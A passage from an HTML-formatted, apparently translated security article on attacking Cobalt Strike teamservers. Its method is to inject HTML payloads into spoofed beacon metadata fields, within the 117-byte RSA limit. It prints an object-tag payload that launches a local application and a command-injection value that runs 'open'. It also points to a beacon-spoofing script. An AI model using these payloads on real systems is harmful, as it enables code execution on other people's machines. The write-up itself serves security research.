5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><code style="padding: 15px 16px 16px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;overflow-wrap: break-word !important;">&lt;html&gt;&lt;object classid=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;xxx.xxx.xxx.xxx&#39;</span>&gt;&lt;parame name=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;XXX&#39;</span> value=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;file:///System/Applications/Calculator.app&#39;</span>&gt;<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></code></pre><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">or command injection</span></p><pre style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><code style="padding: 15px 16px 16px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;overflow-wrap: break-word !important;">&lt;html&gt;&lt;object classid=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;xxx.xxx.xxx.xxx&#39;</span>&gt;&lt;parame name=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;XXX&#39;</span> value=<span style="outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;overflow-wrap: break-word !important;">&#39;&#34;;open <a href="http://www.baidu.com" target="_blank">http://www.baidu.com</a>&#39;</span>&gt;<br style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"/></code></pre><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Are these the most likely ones? </span><strong style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">As for which chain to use, I will not disclose it here. Interested students will follow this idea to find possible chains in hundreds of classes. </strong><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"> Next, regarding the length of the payload, no matter how you look at it, it has to be more than 60 or 70, which will lead to some subsequent restrictions.</span></p><h2 style="margin-top: 30px;margin-bottom: 15px;outline: 0px;font-weight: bold;font-size: 22px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;">0x03 CS&#39;s own limitations</span><span style="outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"></span></h2><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Everyone knows how to use the simulated beacon protocol to insert img tags. I will briefly repeat here that  </span><code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;border-radius: 4px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><a href="https://github.com/LiAoRJ/CS_fakesubmit" target="_blank">https://github.com/LiAoRJ/CS_fakesubmit</a></code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"> this is a script to simulate the online package of beacon. It was used to play dos before, and now it can be used to insert payload. Specifically I will not repeat the usage in github. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">When the length of the inserted data is long, we will find a problem:</span></span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="js_img_placeholder" data-src="https://mmbiz.qpic.cn/mmbiz_png/SHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs07diakiacnLOR41B03IRbYT1hNkcKOfQ5q59OebXXKDd0WbfibBgUhz01g/640?wx_fmt=png" data-index="23" style="outline: 0px;display: inline-flex;align-items: center;justify-content: center;background: var(--weui-BG-3);border-radius: 8px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;height: 285.814px !important;"><span style="outline: 0px;font-size: 16px;display: inline-flex;width: 1em;height: 1em;vertical-align: middle;color: rgb(96, 96, 96);animation: 1s steps(60) 0s infinite normal none running f;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></span></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">After adding the long payload here, the overall package length is 132 bytes, and his error message means that the entire space is only 117 bytes, which means that the payload has a maximum length limit. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Let&#39;s analyze why there is a length limit in more detail. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">First, let&#39;s have a general understanding of the interaction process between beacon and team server. In fact, I am also a temporary Baidu article myself. Basically, I can find a similar protocol analysis article by searching.</span></span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6077922077922078" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1540" src="https://wechat2rss.xlab.app/img-proxy/?k=49c84849&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0PI4bfibiaibMkfQ1smcuCk83X7NUZA1ibD4S751bmUTELchhkwcDd3FFvg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">I won&#39;t go into too much detail, you can read the article for yourself first </span><code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;border-radius: 4px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><a href="https://www.ijiandao.com/2b/baijia/423712.html" target="_blank">https://www.ijiandao.com/2b/baijia/423712.html</a></code></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8219653179190751" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1730" src="https://wechat2rss.xlab.app/img-proxy/?k=30b6eb93&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs03owe637ovEsltiaKpejxHP8Ma2nmHY48RicK94vHd6MVeCAZbSAgBpTg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4591715976331361" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1690" src="https://wechat2rss.xlab.app/img-proxy/?k=97156593&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0kE4IfjvjiaVIbpTT6Ih2y6mMia1LZib7wzgsKKmqu8dibNObf33vwtE2pQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">In short, it is divided into two parts. The first part is the online package. The online package is the metadata encrypted by RSA inserted in the cookie. This metadata is the metadata, which generally contains some basic information such as user name, host name, operating system information and AES. KEY etc. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">The teamserver parses the data in the metadata and displays it on the home page. After obtaining the aes key from it, it is used to encrypt and decrypt the data related to subsequent tasks. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">And let&#39;s look at what&#39;s on the home page of CS&#39;s client</span></span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="js_img_placeholder" data-src="https://mmbiz.qpic.cn/mmbiz_png/SHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0DssUl7TYOIA5hmL90uHMiaJ5w7RticX3NibWtKCRvDJqe89zhHASgKolQ/640?wx_fmt=png" data-index="27" style="outline: 0px;display: inline-flex;align-items: center;justify-content: center;background: var(--weui-BG-3);border-radius: 8px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;height: 100.175px !important;"><span style="outline: 0px;font-size: 16px;display: inline-flex;width: 1em;height: 1em;vertical-align: middle;color: rgb(96, 96, 96);animation: 1s steps(60) 0s infinite normal none running f;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></span></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Yes, these are the familiar fields, most of the information in these fields comes from metadata. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">The data in the metadata is the data that we can control and insert into the teamserver for display. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Back to the 117-byte limit, let&#39;s take a look at the code for CS</span></span></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">We came to the code of the teamserver of cs and searched for 117 directly:</span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1254355400696864" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1148" src="https://wechat2rss.xlab.app/img-proxy/?k=360938cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0WVibRM2cia98l6UgDe1jyhVDv1ohX3RuNR4xKBcPcCYicm316feTic9L9w%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Follow up with asymmetricCrypto.java to see</span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7796407185628742" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1670" src="https://wechat2rss.xlab.app/img-proxy/?k=5017988a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0wLSKwTn9dTO2rDygrhIiade2vrkUBTQtP9GalgEMuLicNj41sZy1j82w%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Let&#39;s look at the code of the fake client</span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6834677419354839" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1984" src="https://wechat2rss.xlab.app/img-proxy/?k=2a7842c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs00MB69nmcAwG0C737ib3sGHNcTDfIVucw0Ehlc09PPwSDkeDDPPlic1Qw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Does it match up? </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">There is a length field here. You can see that the server obtains the length field of our transmission for judgment. Then some students will ask, if I write a large payload, but pass the length to him, is it 1? It has passed the verification. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">The answer is no. The fundamental reason for this check is that the encryption algorithm of RSA itself limits the length of plaintext encryption.</span></span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2862453531598513" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1614" src="https://wechat2rss.xlab.app/img-proxy/?k=191a29f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs08OgLbS5lQ1D53gGI6aFOKgG7spbSdmEibmv9BdSiawpan0pZCGgbqUkg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">The length of the RSA key used by cs to encrypt metadata is 128 bits, so subtracting 11 is exactly 117 bits. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">This rigid total length limit of the package body cannot be bypassed. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">So how far can the payload be compressed at most? </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Go back to the fake client and let&#39;s take a look</span></span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6047745358090185" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="1508" src="https://wechat2rss.xlab.app/img-proxy/?k=d6fe4191&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0NV8rO7cz4KWvhIatrCRqQsjL5ZjYW0AoJjMkCiavDNUEpO0tSKsCYhA%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">It can be seen that the big lumps in front cannot be changed. If it is not a number or the identification bit is written to death, it will be read and parsed by the teamserver one by one. Our payload is a string, you can simply think that the digital bits are not available. use. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Only the computername, username, and processname can be written to the payload in the end, which correspond to these three on the interface.</span></span></p><p style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.20224719101123595" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 677px !important;" data-type="png" data-w="890" src="https://wechat2rss.xlab.app/img-proxy/?k=15e906d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FSHI5wib3tvAOtaXaWTSbvP4Ugz8AFGRs0kTxRiaGMiavAlNfRUkQrebYiac6bicOFoic1hEp2hJDcq9etAlUGQaUxmsg%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p style="margin-bottom: 24px;padding-top: 8px;padding-bottom: 8px;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;white-space: normal;font-size: 16px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">Another point of knowledge here is that if we 